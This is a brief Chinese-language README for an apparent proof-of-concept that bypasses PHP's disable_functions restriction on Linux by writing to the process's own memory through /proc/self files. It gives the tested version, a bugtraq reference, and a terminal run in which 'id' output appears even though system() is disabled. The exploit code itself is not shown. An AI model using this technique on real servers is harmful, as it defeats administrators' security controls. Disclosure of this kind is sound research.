演示项目,展示如何在 Linux 上绕过 PHP 的 disable_functions 安全控制,其中进程可以通过标准文件操作(open/seek/read/write)经特殊的 /proc/self/map 文件检查和写入自身内存。
已在 PHP 7.3.5、x86_64 Linux 上测试
另见:https://seclists.org/bugtraq/2019/May/52
regularuser@7981d86dd9aa:/$ ./php-7.3.5-vanilla/sapi/cli/php -d 'disable_functions=system' disfunpoc.php
Warning: system() has been disabled for security reasons in /repo-shared/disabled_functions/disfunpoc.php on line 2
uid=1000(regularuser) gid=1000(regularuser) groups=1000(regularuser)